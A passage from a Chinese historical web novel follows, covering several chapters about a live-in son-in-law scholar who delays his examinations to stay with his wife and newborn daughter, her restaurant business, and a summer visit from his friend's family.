这是知府在任的成绩,五年前前任知府就靠着府学格外亮眼的功绩,在六年一次的大计时入了吏部尚书的眼,第二年就调任布政使司任参议。 还是正四品的官,但布政使司负责一省地方事务,参议作为协助布政使的官员,或许不如在岳州做知府老爷畅快。 但宁为鸡头不为凤尾这话大多数时候都是说来安慰自己的话,真能往布政使司去谁又会一直留在府城衙门里。 为此,现任知府左大人上任之后第一件事就是去府学里见章世铮。 谁知知府大人运气不好,正好撞上章世铮那天连着看了几篇不合心意的策论,人家才不管你是左大人还是右大人,他站在讲堂上面骂得飞沫点子都差点飞到知府大人脸上去。 可那又如何,左知府别管心里高兴不高兴,还不是从袖口抽出一方帕子,把额间沁出来的汗珠擦干净,老实站在一旁听章世铮骂人。 谁有本事每隔三年从府学教出十个举人谁就是大爷,莫说只不过站在一旁听些骂,就是真骂到自己头上那又如何,只要能升迁其余的都是小事。 裴元还没去考县试的时候,谢九九就已经多方打听,把考上秀才之后的事都打听清楚了。 反正就是这么一个人,入府学在他手底下读书肯定没好日子过,但谢九九还是想裴元去。 这一年的童子试正好跟乡试碰上,按理说院试考完,已经成为秀才的裴元还能赶得上参加九月的乡试,许多从外地赶来考中的学生干脆不回去,就留在潭州府待考。 毕竟这一路山长水远,每年都有学生因为意外或是生病死在赶考的路上。能考上秀才不容易,除了家里殷实和裴元这样一门心思就赶着回家的人,没人会浪费这笔银子和时间。 裴元回到容县第二天,黄海就上门来了。一是道喜二是问他什么时候再往潭州去赴考。今年乡试的时间定在八月二十六,他要是去考试,恐怕就赶不上谢九九生孩子之前回来了。 当着黄海的面裴元并没有多说什么,只说这事还得私底下问过谢九九。 等晚上回了房,裴元拿了小凳子坐在谢九九跟前,抬手握住她有些水肿的脚踝把鞋袜脱了,让铜盆里的热水没过谢九九莹白秀气骨肉匀停的足,才说出他早已做下的决定。 “你今年不去考乡试,是担心我吗?” 裴元读书读得好,以前就有人跟谢九九这么说。现在裴远舟成了容县稀罕得不能再稀罕的小三元,这么跟谢九九说的人就更多了。 那些人面上带着笑,笑容里除了艳羡还有掩藏不住的嫉妒。当初人人背地里都笑话谢家无人顶门,得谢九九这么个女儿站出来招赘,才能保得住家业。 现在人人又背地里艳羡谢家的运气怎么这么好,云客来的生意好了这么久还继续好着,半点看不出颓势。谢九九招进家门的赘婿成了小三元秀才公,说不定再过几个月就是举人老爷了。 县衙的县丞老爷也是举人出身,这说明什么,说明谢九九这么个商户女保不齐很快就能成为县丞夫人。 谢九九知道她们背地里在嘀咕自己什么,也隐约听说过她们嘴里的风凉话。有些好事的大神大娘们甚至在私底下打赌,堵裴元这个秀才公什么时候忍不了给谢九九做上门女婿。 但她不在意这些,自己不是大门不出二门不迈的小姐,脚掌白皙秀气却不那么细腻娇糯,小脚趾侧边和足跟后面甚至还有一小块薄薄的茧子,那是老站在云客来里站出来的。 起初起茧子的时候谢九九还去香粉店买了专门拿来磨茧子的磨脚石,买回来用了一次,下手轻了没用重了足跟红得像是要滴血。 人生来爱美,谢九九自己没觉得怎么着,谢家没有给女儿裹脚的习惯,谢九九也很喜欢自己这一双大脚,为了把茧子去了受点疼不算什么! 但裴元先受不了了,在一旁看得龇牙咧嘴的,那天晚上谢九九是稀里糊涂就被丈夫哄着睡下的,过后再想找那块据说加了上等香粉的磨脚石,就说什么也找不着了。 现在怀了孩子,脚上的鞋是江妈妈专门做的,鞋底子要比平时穿的绣花鞋更软,穿不了几天鞋底子就磨得不成样子。 谢九九本来想说以前的绣鞋也很好穿,可架不住江妈妈在家一有空就做鞋,还按照她怀孕的月份大小一点点把鞋底鞋面往宽里放。 这样的鞋穿的时间长了,原本磨出来的茧子也褪干净了。此刻裴元指腹细细蹭在谢九九有些水肿的脚背上,长年拿笔磨出来的茧子,才是真的蹭得人酥痒酥痒的。 “你别操心家里,稳婆我已经找好了,等过完八月节二舅妈会搬过来住一段时间,文济回来过节也不会着急回书院,到时候家里不缺人。” “不缺人,缺我。” 裴元蹙着眉头,本来攒了一肚子的道理要说,又觉得说那些没什么用处。他有些固执的摇摇头,拿过搭在一旁的擦脚布,给谢九九把脚上的水珠擦拭干净,“我得留下来,不然我心不安。 对于裴元来说读书考功名有多重要,过日子就有多重要。归根究底自己考科举想做官,为的还是把日子过好。自己都过得不如意苦哈哈的还空谈什么心怀抱负,多少显得脑子有问题。 家里的秀才公连缺我这样的话都说出来了,谢九九自然不可能再催促他今年非要去考个举人回来。 从六月到八月,裴元都安心待在家里陪着谢九九。直到谢九九生下女儿阿满,他才收拾纸笔书本往县学去报道。 外边那么多盯着裴元的人才恍然,这位做了赘婿的秀才公是真的一点点想要跳出谢九九手掌心的打算都没有,人家为了妻女连府学都不去了。 而谢九九在容县也多了一个诨名,好些闲汉泼皮提起裴元,都要捎带说上几嘴谢家那个河东狮,压制得男人连前程都不要了,真真厉害! 第59章 第59章心里其实热乎劲儿不算多…… 容县的县学一般,不算太好也不算太差。学里的教谕殷世衡是个靠贡监入了国子监读书的贡生,书读得不好不坏,在国子监读了十年也没能考上监生。 倒是家里的生意越做越好,家里的妻子也已经给他生了三个孩子。 家信送到南直隶,一年比一年更能消磨殷世衡的意志。最后一次入乡试的考场,与其说是去考试不如说是最后给自己一个交代。 果不其然还是没考上,家里对此也算不上失望。还是拿银子开道给他谋了个在县学当教谕的缺,回到容县再不想那些蟾宫折桂光宗耀祖的事情,就安心守着妻子孩子过日子。 县学的教谕对殷世 衡来说就是份差事,每月薪俸三石粮食一年三十六石。岳州种水稻,这几年粮食收成不差,一两银子能买两石谷子,三十六石顶多换十八两银子。 殷世衡从没想过靠这点银子养家,也没想过兢兢业业教书再往上升为府学教授或是提学佥事,所以他管着的县学里的学生,下狠功夫的并不多。 但好在他家家境殷实,并不像许多别处的教谕那边侵吞廪生的廪米,或是一天到晚的找各种由头找学生们要好处捞油水。 该读的书他要教的都能教,学得会多少学得了多好便只能看个人的本事。 一大半的学生连殷世衡都不如,但每三年总有那么一两个比殷世衡强能考上举人的,又不至于让大伙儿对县学彻底扔在一旁不管。 这么一来,许多对人际往来不那么热衷的,家里条件一般只想有个地方安心读书的学生,比起不大不小还要花不少束脩的私塾,还是学选择往县学里来。 裴元没去府学也没有再回青松书院,而是选择来县学读书的第一天,殷世衡脸上的笑差点没挂住。 容县出了个小三元,这事不光容县的读书人都知道,整个岳州府甚至整个潭州都没有人不知道! 作为案首,为了以示考试公平,裴元的试卷是要被张贴出来的。殷世衡也看过他的试卷,除了诗赋确实缺了一点灵气,其他的不管是八股还是经义、策论,都写得鞭辟入里一针见血。 不光能看得出来裴元这人读书的基本功下得极其扎实,论证引述的角度也极为老辣。 只是这老辣间又带着一丝意气风发,能让人一眼就看出来,答卷的学生不是个土埋半截,做什么事情都要瞻前顾后,所有东西都能上秤称个斤两的老童生。 还有那一手标准精致的馆阁体,在国子监混了十年的殷世衡见过字写得好的多了去了,但裴元的字他还是打心底地叫了一声好。 殷世衡拿着花钱买来誊写的试卷好生看了几天,也感慨也羡慕,但感慨完也就完了。花钱买来的试卷也不知被压到哪本书底下,找都找不着。 直到裴元来县学报道,还给他带了一份额外的束脩,殷世衡才觉得这世上,活得长了真是什么事都能碰上。 作为花钱买来的监生,殷世衡从来没想过要跟裴元在学问上一较高下,他甚至很直白的问裴元,为什么会想要留在县学读书。 府学的教授章世铮,多少人削尖了脑袋想要做他的学生,裴元却来了县学。 殷世衡有些戏谑地拍一拍自己的额头:“裴远舟,我这个教谕和铁书先生那个府学教授,除了名字里都有个世字,其余的可就天差地别了啊。” “殷教谕何必自轻,铁书先生有铁书先生的好处,县学和您自然也有您的长处。” 裴元当然不可能一直留在县学,可他如今不是一个人,他还有个刚生完孩子坐完月子的妻子,一个刚出月子刚褪了红皮猴子样儿,怎么看怎么像自己的女儿。 即便谢九九一直说女儿更像他,还拉了家里丈母娘来作证。非说阿满长得跟她小时候一模一样,还说裴元又不知道自己小时候长什么样子,纯纯欺负他眼下找不着关令仪来问。 那是他的负担也是他的牵挂,人一旦有了牵挂就很难走远。一向觉得自己什么都舍得下的裴元舍不下了,他得暂时停下来等一等谢九九和女儿。 他心仪谢九九,就如同诗经里写的那般,宜言饮酒,与子偕老。琴瑟在御,莫不静好。 谢九九虽不会弹琴吟诗,可谁让就是这么巧,自己作诗赋曲也那么不擅长。 两人兴致来了,只会夜里偷偷往后院厨房去,或下两碗面条或炒两个下酒菜,就着卤出来的五香花生米和酱板鸭,两人分一壶酒,吃好喝好了合盖一床被子去睡。 裴元喜欢这样的日子,他觉得他自己后半辈子都得过这样的日子。 他不能像以前书院里那些同窗一般,好几个月不回家一趟,回家了跟妻子坐在一处生疏得紧,连说话都不知该怎么说。孩子见着父亲都不怎么认识,还不如家里的长工奴仆熟悉。 说这话的同窗说起这些事的时候言语间满是戏谑和自嘲,好像真的没把这事放在心里,毕竟男子汉大丈夫岂能被那些小情小爱牵绊住。 但裴元生来心细,没错漏同窗醉酒之后侧过头,装出一副不胜酒力醉得狠了,其实是歪过头抬手把眼角的眼泪给擦了去的样子。 那个一向讲排场要体面,张口之乎者也闭口社稷天下的同窗,那一刻在裴元眼里特别像一只没人要的野狗。 这种事,只有疼到自己身上的时候才是真疼。裴元觉得自从和谢九九成亲以后他就也养得金贵了,这份疼他肯定受不住。 裴元说不走就真的没走,除了每月一次往崔鹤儒那里去交功课看望老师,这个家世离奇经历更少见的小三元裴远舟,就真的这么安心在县学里留了下来。 同样留在县学读书的还有当初一起作保的周世安,周世安也考中了秀才,名次还在沈霁之前。 他家就他一个儿子,上面两个姐姐都嫁人了,剩下年近六旬的爹娘和妻子女儿,要他花银子托关系进府学他不乐意,之后一听裴元留在县学了,他便也颠颠的跟来了。 他是个话多的,在县学里跟谁坐在一起都忍不住要跟人说话,惹得谁都不耐烦他,最后只能挨着一向喜欢坐在讲堂最后面的裴元身边。 裴元对此是无所谓了,周世安是话多,但并不是个没分寸乱嚼舌根的。他说裴元便听着,至少比讲堂上的殷世衡讲得有意思。 他一来,何云驰自然也跟了来。一个跟着一个的,也不知道从什么时候外面就开始传说,容县有三个才子,裴远舟、周平之和何云驰。 为此沈霁还专门从府城来了一趟,铁青着脸在县学门口堵住裴元,近乎一脸悲愤地质问裴远舟,为何要喜新厌旧,什么时候容县出了三才子,他都是从旁人嘴里听说的。 一向温和好说话的沈霁这一次显得格外倔强,非要拉着裴元要个说法,凭什么他俩认识那么多年,也没见别人说自己和裴元如何如何。 现在不知道哪里来的野书生,就因为同在县学读书,莫名其妙就更裴元齐名了?也不看看他们配不配! 沈霁从来没有说过这般近乎刻薄的话,说完之后不知道是气裴元还是气自己,总之一张脸臊得通红,把裴元看得眼泪都要笑出来了,这才拉着沈霁的胳膊往家走。 两人到家的时候谢九九在家,今天她没时间去云客来。 前年年底裴元从京城回来之后,专门抽了两天的时间跟谢九九一起去了一趟府城,以一年五十两加云客来每年年底二成红利做工钱,把潘掌柜从府城重新挖了回来。 一起涨了工钱的还有秦娘子,何奎已经把自己的牙行兼脚力行给支棱起来,云客来所有对外要搬搬抬抬的活计都是何奎在管着,包括给云客来送货的大小铺子档口。 云客来生意能好起来,除了谢九九按时推出的特色菜,和被炸货档口聚拢起来的人气,更重要的还是食材的新鲜。何奎的搬运行就负责这个。 春天山上的野菜春笋菌子多了,他就派人下去挨家挨户的收。夏天的鱼虾秋天的螃蟹,甚至冬天也有最新鲜的冬葵、韭菜、藠头不断顿。 秦娘子和何奎一个守着饭庄一个在外面忙活,谢九九没有再给秦娘子涨工钱,而是直接分给她云客来的一成红利。 两人都拿了干股,自然就彻底被谢九九绑在云客来这条船上。潘掌柜为主秦娘子为辅,再加上老韩和韩婶子守着的厨房和档口,小小一个饭庄愣是被谢九九弄成了三足鼎立。 裴元曾关上门悄悄跟妻子咬耳朵,说她把她那点小心思都花在云客来上了。但笑完了又不得不搂着谢九九喜得不愿意撒手,他喜欢看谢九九花心思动脑筋的样子,他也说不上为什么。 三足鼎立很有用,潘掌柜觉得自己跟谢九九和谢家交情最深,秦娘子觉得自己跟谢九九私交最好,老韩和韩婶子靠手艺吃饭,都觉得自己是云客来少不了的那一个。 但抬头看看另外两足,再骄傲的心也会稳当下来。谁也不敢翘尾巴谁也不敢阳奉阴违,他们都看明白了谢九九这个人,嘴上 热闹待人公道,心里其实热乎劲儿不算多,至少没有给他们。 不过这些不重要,重要的是云客来生意一直客似云来,潘掌柜去年年底赚的钱比在府城多,秦娘子在家腰杆硬得何奎恨不得把她贡在手心里叫娘娘。 就连老韩和韩婶子,也因为管着云客来的厨房一年到头油水颇重,在乡下那个讨了媳妇忘了娘的幺儿子,经常带着媳妇来县城看老韩。 韩婶子寡言,老韩却总喜欢在人前说他那个不孝顺不争气的儿子又来县城了,当爹娘的就是这样,嘴上嫌弃得再狠,心里再恨儿子不孝顺,其实心里还是高兴的。 谢九九不管那些,她比谁都清楚银子给得足了,就能解决这世间绝大部分的烦恼。她现在只需要隔几天去一次云客来就好,其余大部分时间都花在女儿阿满身上。 阿满是个长得特别壮实的小姑娘,因为壮实也特别闹腾。 别人家的孩子都是七坐八爬,阿满七个月就能满院子的爬,每天早上她爹出门去县学,她都要抱着她爹的腿嗷嗷哭,哭得特别惨,好像裴元今天出门就再不回来了一样。 每天裴元都得因此抱着他闺女在院子里来回溜达好多圈,有两次谢九九分明看见他眼角也红了。 等实在时辰不早了,把孩子递给谢九九他还要一再嘱咐,好像谢九九是那后娘,只要他没看着就要欺负他闺女。 但其实小丫头就是闹,等裴元真的出门了,人家确定看不见爹了,眨巴眨巴眼小屁股一扭,转身又埋进谢九九怀里,压根不像方才哭过的样子。 第60章 第60章这很公平 裴元把沈霁带回来的时候,正好撞见谢九九带着阿满在前院院子里玩儿。 八月份正是容县特别热的时候,孩子还有一个月才满一岁,白天大半的时间都不敢让她出门,只能把孩子拘在屋里避暑。 晚上蚊虫多,黄娟又一直嘱咐说小孩子天眼没闭,晚上不能老把孩子往外面带。这么一来,谢阿满能出屋子来玩的时候就只有一大清早和傍晚时分。 前院有一株葡萄藤,葡萄架还是很久以前谢德昌架起来的。 那时候谢掌柜是为了附庸风雅闹着玩儿的,谁也没想到多年以后谢家前院确实住进来一个读书人,又偏偏不是个爱风雅的。 葡萄藤年年长,一年比一年长得好,葡萄也从酸变成甜,现在成了谢阿满的地盘。 葡萄架下摆着一张竹制的凉席,凉席上还铺着玉簟,怕玉簟太硬,又在上面铺了一层纱绸和几个软枕。 凉席四周都有两掌高的围栏拦着,还不到一岁的谢阿满胆子小,被拦住了就说什么都不翻过去。 谢九九和谢阿满这娘俩,一个在凉席这一头侧躺着撅着屁股抱着自己的脚指头啃,另一个腰后抵着个倚枕,有些懒洋洋的歪在另一头,伸直一条腿护在女儿侧边。 裴元早猜到了谢九九这会儿肯定不方便见客,遂让老吴叔在门房里倒了一碗水给他,让他站在门房外吹吹过堂风收收汗,自己则先绕过影壁进来。 “今天怎么回来这么早。” “沈霁来了,就在外面。” 裴元走到葡萄架下,先伸手把一条腿盘着一条腿伸着,歪坐得屁股有些发麻的谢九九扶起来。 天气热又不用出门,谢九九今天挑了一件浅绿色的纱裙,内衬白绫主腰,下身着浅粉百褶洒金裙,明明很容易就穿得俗气的颜色,偏生她就是撑得起来。 乌黑的发被一根木簪固定梳成髻,耳垂上连耳环都没戴。天气一热谢九九就特别不喜欢身上滴里搭拉的戴首饰配饰,这会儿也就腰间系了一个香囊,还是裴元早上出门前非给她挂上的。 县学里的秀才除了两个不满二十岁的,其他人家中早都有了妻儿,有姨娘妾室的也不少。 男人往县学来读书,除了家就在县城的,其余的要么住在县学的斋舍里,要么独自在县城租房子住。 男人家在外面大几个月甚至一年才回家一次,家里的妻子哪能放心。又没别的法子看住男人,就只好亲手做些扇套绳结香囊腰带之类的东西,好叫自家男人在外面还能记得家里有媳妇在等着。 裴元天天回家,连晚饭都很少在外面吃,本用不着谢九九多此一举。但裴元眼红别人家郎君身上穿的戴的从上到下都是妻子亲手做的,便也扭头来磨谢九九给他做。 女儿像爹这话真真没说错,还不到一岁的谢阿满耍起赖来那个模样跟裴元真就是一模一样。 唯一的区别就是谢阿满还小,还能特别容易把整个人都埋进谢九九身体里,只露出一个圆乎乎的小屁股。 裴元这么大一个,每次耍赖撒娇还得先让谢九九坐下来,他再把脑袋枕在妻子腿上,亦或是趁谢九九坐在床边和罗汉床边的时候,冷不丁从她腰后把她环住。 那个姿势很像家里的大黄猫缠人的样子,也是把头和腿都蜷曲起来,把最柔软的腹部贴在谢九九脊背上,然后紧紧抱住她低声哼哼些谁也听不清的话。 谢九九经不住他这么缠,临时抱佛脚把春儿的针线篮子要来。 上一次绣花她都不记得是什么时候,平时就是给父女两个做衣裳,那也都是贴身的衣裳,只要缝制的针脚细密些就行,现在再拿针她都觉得自己手有点抖。 大件是做不成了,裴元要的是能挂在身上跟人显摆的,总不能让他把里衣外穿,见人就说是家里妻子给做的,那也太丢人了。 最后只能挑几个最常见又简单的做了三个香囊,裴元香囊上绣的竹枝,自己的绣的缠枝纹,阿满的最用心也最拿不出手,绣的是家里的大黄猫扑蝶。 大夏天什么香味闻着都觉得腻,谢九九便去药铺了配了驱蚊驱虫的药包放在香囊里。孩子还小能不碰药就不碰,她的小香囊里放着的是薄荷陈皮,小小软软的肉团子身上全是凉丝丝的味道。 谢九九一听是沈霁来了,起身把谢阿满往丈夫怀里一塞,“我先去换衣裳,等会儿让曹勇去云客来拿两条鱼回来,于姐姐最喜欢吃稻花鱼。” 稻花鱼现在不光云客来做,整个岳州往鱼肚子里塞糯米和腊肉的饭铺越来越多了,还有在云客来的基础上改良改进的,但于氏一直都最喜欢吃云客来的。 “是沈霁一个人来的,嫂子没来。” “啊?那行吧,那我去厨房看看,还有什么菜。” 一听于氏没来,谢九九顿时就懒得忙了,只换了件浅蓝的对襟长衫就往后院厨房那边去。这么热的天炒几个下饭菜拌两个凉菜下酒就行了,鱼不鱼的不那么要紧。 在县学的日子,是裴元这辈子过得最轻松最舒坦的日子。 不用像当年在府城那样表面上装得遗世独立疏离清高,其实心里记恨着每一个拿自己出身来取笑的人。 也不像后来到了容县,每天闭上眼睛睁开眼睛想的都是一家子人该从哪里赚钱吃饭,自己的前程又在哪里。 每月最发愁的事情,除了自家老师从书院送过来的功课越来越难,其余的便都是围着谢阿满打转。 可这愁也不是真的愁,晚上他与沈霁在书房里喝得半醉,说起谢阿满这个小东西在家闹腾得极烦人的时候,那个眼神里都带着笑的样子,看得沈霁直起鸡皮疙瘩。 “又不是只你有闺女,我也有一个。”沈霁的女儿文静,从小就是个耐得住坐得住的小姑娘。 沈霁平时跟她说话都怕声音大了吓着孩子,像谢阿满这样话还说不利索就上蹿下跳的小闺女儿,他确实没见过。 “你别岔开话题,我这次来是因为什么你不知道啊。什么容县三才子,你跟他们有交情吗就绑到一条船上了,以后要是 那两人有什么事,你说得清?” 朝廷上党争之势已经渐渐能看出端倪,当秀才的不能只低头读书,书院和官学里的先生隔三差五也要跟学生们说一说如今的天下大势和朝堂之事。 现在就把什么三才子的名声传出去,以后去了京城人家就得以为你裴元是个容易拉拢的,到时候麻烦事多着呢! “旁人都说沈霁沈郎君温文尔雅敦厚斯文,这个挑刺的样子要是叫外人看了去,怕是要跌破众人的眼睛。” 沈霁不高兴,除了因为两人相交这么多年也没见外人说两人相交甚笃的话之外,更多的还是担心裴元。 所有人都觉得裴元自持冷静,是小三元身后还有关家做靠山,以后肯定前途无限。只有沈霁觉得这人其实不怎么聪明,他有点怕那个周世安和何云驰哄骗了他。 “周家在县城开了三代点心铺子,周世安这个人性情跳脱了些,但为人不错。”裴元执壶给沈霁倒酒,今天他能因为这件事而来裴元心里很高兴。 “我还要往上考,考中了举人就一定会去京城。我不会让妻女留下,得带着一起走。我和九九一起走了,家里就只能让文济来做顶梁柱了。” “你后年考中,文济到时候都十七了。” 谢九九当年下定决心招赘,从族人手里把家业抢回来也是十七岁。十七岁的男子该娶妻成家,到时候还要你这个姐夫来操心? “谁家的十七岁难道都一样,他不如他姐。”裴元说罢又摇摇头,“他不行。” 沈霁和谢文济同在青松书院读书,虽然一个在生员班一个在童生班,平时往来并不多。但因为有裴元的关系在,沈霁还是会时不常的关注一下谢文济的情况。 这小子读书着实没天赋,处事也算不上左右逢源的那一拨,有裴元这么一个姐夫,也不见书院里最投机取巧的那一拨人往他身边凑。 每天除了上课,大多数时间都是跟同斋舍的几个好友在一起。隔三差五出去打个牙祭,或是直接去府城里买书买纸笔。不挥霍,也从不委屈自己。 沈霁甚至觉得这小子比他更看不出有什么很特殊的性情,就这么不温不火也不着急。今年春天下场试了一回,果然连府试都没过。 之后裴元怕这个小舅子心里憋着劲儿,还嘱咐沈霁在书院里多看顾些。 沈霁认认真真看了好几天也没看出谢文济有什么不对劲的情绪,忍不住找着这小子一问,人家居然说什么早知道自己不可能一次就考过童生。 今年下场试一试也不过是同斋舍关系好的两个同窗都去了,他觉得自己不去不好,就陪着一起去了。 就这么个说什么都不跟自己较劲儿的人,现在家里大事小事都有谢九九做主,他就是最不惹是生非老实安生的好弟弟。 可要是谢九九哪天被自己带着去了京城,云客来和谢家的产业,还有家里的丈母娘和小姨子他能不能护得住,裴元不敢打包票。 但人总是要走的,既然自己舍不下前程又舍不得妻女,就只能想法子先把谢家的事安排好。 周家在县城根子深,比起黄海他怎么说还是个秀才。有些里子上的事黄海能办,但有些面子上的事还是周世安好用。 当初何县丞把周世安、何云驰推给自己认识,裴元就想好了该怎么用。就像他们也想好了,要是有朝一日能去京城赴考,该怎么用自己一样。 “周世安这个人可用,至少在文济有麻烦的时候他能帮忙。日后等他考中举人去京城,这个人情到时候我来还。”这很公平,裴元在心里默默补了一句。 “所以你不必担心我跟他俩的关系越过你去,且不到那个份上。” “你……” 沈霁看着坐在自己面前的好友,这人心思细且多,按理说并不是个能交心的好对象。可他什么都跟自己说了,这又让沈霁觉得这个朋友自己没有交错。 “这个打算你可跟谢娘子说了?”裴元是入赘,能为了娘家招女婿的人,要她离家绝不是一件简单的事。 “没有。”裴元理直气壮的摇摇头,随即又拍了拍额头,“现在说怕是要吃了我,所以才一杆子支到两年以后,再有两年,说不定情况便不一样了。” 两年时间能有什么不一样,裴元没说沈霁也没有再问。两人把剩下半坛子酒分着喝完,沈霁摇摇晃晃去了书房里间睡下,裴元则踉跄着回了自己房中。 “好久没喝这么痛快了吧。” “嗯。” 裴元枕在谢九九腿上,由着她给自己用指腹在太阳穴上按揉,手心贴在额头像是哄阿满睡觉那样摩挲自己的脑袋。【你现在阅读的是 】 60-70 第61章 第61章沈霁来找裴元,裴元…… 沈霁来找裴元,裴元很高兴。从裴元嘴里听到的答案,沈霁也很高兴。 都挺高兴的两人毫不意外的喝多了,宿醉过后的头疼,让两人第二天坐在饭桌旁都显得有些精神恍惚,身边就带了个书童的沈霁更是连发髻都没束好,松松垮垮的不像个样子。 沈霁这次来县城,还没忘了替谢文济捎带一封家信回来,收到儿子的信黄娟看上去特别热情,非要留沈霁在家多住几天。 “沈先生也是,既然回容县怎么不把于姐姐一起带上,我都好久没见过她了。” 当初谢九九去鹿鸣村一趟,之后跟于氏的关系就越发的好。裴元从京城回来,过年时还专门去了沈家拜年。 怀谢阿满的时候于氏还专门往家里来了好几次,就是担心裴元连着好几个月都在赴考,谢九九也跟着不安心。她来陪着说说话,虽没什么用可总比不来要好。 后来裴元和沈霁都中了秀才,一个在县学读书一个府城,便换了谢九九隔三差五的往府城去看于氏。 沈霁两个孩子,大的男孩儿六岁小的姑娘三岁。一个是上山爬树狗都嫌的年纪,一个说小不小说大不大,总能把于氏大部分的精力都牵绊住。 只有谢九九去了府城,于氏才会跟着她一起出门逛街。至于几个小的,谢阿满留在家里,有黄娟有奶娘还有陈妈妈和江妈妈在,自己这个亲娘一两天不在,一点问题都没有。 沈霁的儿子取名凤岐,女儿取名清蘅,凤哥儿虽调皮捣蛋但对妹妹向来特别好,对谢九九这个姨姨也很好,因为谢九九每次去找于氏,都要带上很多好吃的,适合家中老小一个不落。 谢九九邀于氏去府城逛街买东西,凤岐都主动把胸脯挺得高高的,跟他娘保证今天肯定不淘气不爬树不下水,让他娘能安心出去玩儿。 两人这么有来有回的相处着,谁也没说过什么肉麻的话,就这么不知不觉处成了好友。这次沈霁一个人来容县没把于氏带上,谢九九特别不高兴。 “怪我怪我,是我想得不周到了。” 沈霁读书虽刻苦,但和于氏成亲之后夫妻俩从来没有分开过,就连去鹿鸣村教书于氏也带着孩子跟了过去,这会儿坐在椅子上抱着马上就要一岁的阿满,抱人的姿势娴熟得很。 谢阿满本就不认生,更何况她还认识沈霁。虽然说话还不利索,但也不妨碍她心里明白这个人是可以抱自己的。 “阿满还记不记得清清姐姐,就是长得好看又文静的那个清清姐姐,沈叔给阿满把姐姐接过来一起玩儿好不好。” 不到一岁的孩子知道什么清清什么姐姐,唯一知道的就是沈霁抱她抱得舒服,就一个劲的蹬着腿踩在沈霁的大腿上蹦,一边蹦还要一边笑。 别以为小孩子就力气小,越是小孩儿手下越没个轻重,阿满把沈霁的大腿当凉席跳,没两下沈霁就抱不住了,只得赶紧把怀里这个大肉团子递给裴元。 “既要接就早些接来,这次过来不用着急走。上次于姐姐还问我之前村里跟着她认字学女红的孩子现在怎么样了,不如趁着你们俩都在,回去看看呗。” 现在八月初,等于氏过来了先在家住两天,再一起去村里老宅住几天,等临近中秋节了再回去,正好什么事都不耽误。 也省得于氏老跟自己念叨记挂自己曾经住过一年的鹿鸣村,她自从跟着沈霁搬回府城,就再没回去过了。 “要不就今天吧,今天去明天回,让高义跟你走一趟。那小子机灵,路上带着他安全。” 谢九九是 真的特想于氏了,催沈霁快回去接人的心全写在脸上。沈霁也不拖拉,真就当天又往回赶,第二天就带着于氏和两个孩子回来了。 在谢家住了两天,沈霁跟着裴元一起去县学拜谒身为教谕的殷世衡,之后便请了长假,两家人一起去鹿鸣村老宅避暑。 沈霁去年考上秀才之后就搬回了府城,不过他向来是个有始有终的人。 回青松书院读书之前还在鹿鸣村待了一个多月,等着谢九九找到了合适的先生,沈霁把私塾里的学生一一交代过。 哪几个特别顽皮,哪几个格外老实,还有两个在读书这事上有些天赋的,要是能留他们在私塾里多读几年最好不过。 要是实在留不住,就请提前给他送个信,他们出去不管是学徒还是找活儿干,沈霁来想办法。 一张床上睡不出两样人,这话虽粗鄙但有时候却不是全无道理。沈霁看着不像当时的于氏那么着急,但其实鹿鸣村里所有去私塾里读书的孩子,他都记在心上了。 这次回来,那两个沈霁觉得读书有天赋的学生还剩下一个。 留下的这个年纪大些,留在家里算得上一个劳力,家里弟妹又小,他出去当学徒家里的日子就更苦了,倒不如留下来,农忙的时候干活农闲的时候读书。 没读的那个年纪小一些,是过完年之后跟着远房叔叔走的。他叔叔是个走南闯北的行商,生意做得不算大,但一年到头在外面飘着,赚的银子总比留在家里多。 “本来是要给沈秀才送信,那孩子爹娘给他在镇上谋了个差事,一年的工钱不少,但那地方……” 接替沈霁的私塾先生是镇上的一个老秀才,读了一辈子的书也没能考上举人。这些年一直都在镇上开了个小小的私塾,靠教些小学童谋生。 小私塾就那么大,一年也就赚那么点儿银子,什么塾长助教门子一概没有,就是老秀才教书,老秀才的娘子中午负责给学生们做一顿饭。 时间长了,老秀才和老娘子都有些力不从心。想去高门大户给人当西席学识又不够,被谢九九托关系找了去鹿鸣村做个教书先生,已经是他能找到最好的去处。 老秀才管学生比沈霁要严,要是放在之前,鹿鸣村的孩子一个个还野性未驯怕是教不成。 但老秀才接手的大多都是被沈霁调教过一年的学生,现在换了老秀才这么个严格也心善的小老头儿,整天啰啰嗦嗦把私塾里的学生一个个盯着读书,学生们还真比以前更坐得住了。 这次见沈霁回来,小老头很高兴。拉着他一个一个的说他留给自己的学生们,说到最后这一个才忍不住摇头叹气,再抬头却是看向谢九九。 那孩子姓谢,按照关系和谢家的老习惯,这孩子该跟谢九九和谢文济论堂兄弟。他爹是谢天佑,就是那个三寸丁连肚子里的坏水都坏不过亲哥的谢家四堂叔。 当初把谢家的产业还回来以后,水褪了才知道到底谁是最鬼的那一个。族爷是病了,没死也没好,至今都没法出门。 精神好的时候被人扶着,还能出门在院子里坐一坐。大部分时候精神头不好就只能在屋里躺着,屎尿都在床上弄,那屋子里的味道熏得人眼睛疼,村里的孩子都饶子那房子走。 昧下谢家的银钱都被前任里正,族爷的儿子拿了去,一家子在镇上新买了宅子开了个小铺子安家,很少回来。 谢宝柱心思最深,银子拿了就拿了半点不往外显摆。只有少数人知道他这两年都陆陆续续在村上买地,也不买最好的水田,就专门挑那些位置不好不坏的中田。 银子总有花光的一天,但田放在那里却是可以一代一代传下去的。 现在村里的人背后嘀咕他不道义没关系,等过些年这些事就没人记得了,到时候田是自己家的比什么不强。 只有谢天佑,每次分给他的银子最少,他也从没想过要把那些银子攒下。银子到手了就花,买肉买酒买好布料做好衣裳,瞧着阔绰得很。 等这银子没了,肉和酒早吃进肚子里成了身上的肉,再有就是谢天佑那些已经不再鲜亮的布料做成的长袍短衫,他的身高体型跟旁人还不一样,想当做旧衣裳卖了都没人肯收。 由奢入俭难,过了三年好日子再想要谢天佑做回个庄稼汉,他是说什么都不愿意的。 这两年除了吃老本,自然把主意打到在谢家私塾读了书的儿子身上。他给儿子找的差事是去勾栏院里当学徒,跟着勾栏院里的乐师学吹拉弹唱。 谢天佑的儿子长得不像谢天佑,倒是有些像谢宝柱。村里人都说这是歹竹出好笋,谢天佑那么个浑人居然能生出这么个模样标致又还会读书的儿子。 但在谢天佑眼里,这个儿子最大的用处就是去勾栏院做个吹拉弹唱的乐师,这样的行当比做普通学徒来钱要快。 他儿子不愿意,又不知道怎么办。最后还是他娘替他求到做行商的远房叔叔那里,趁夜把儿子给送走了。走了就不要在回来,在外面是死是活都比留下来强。 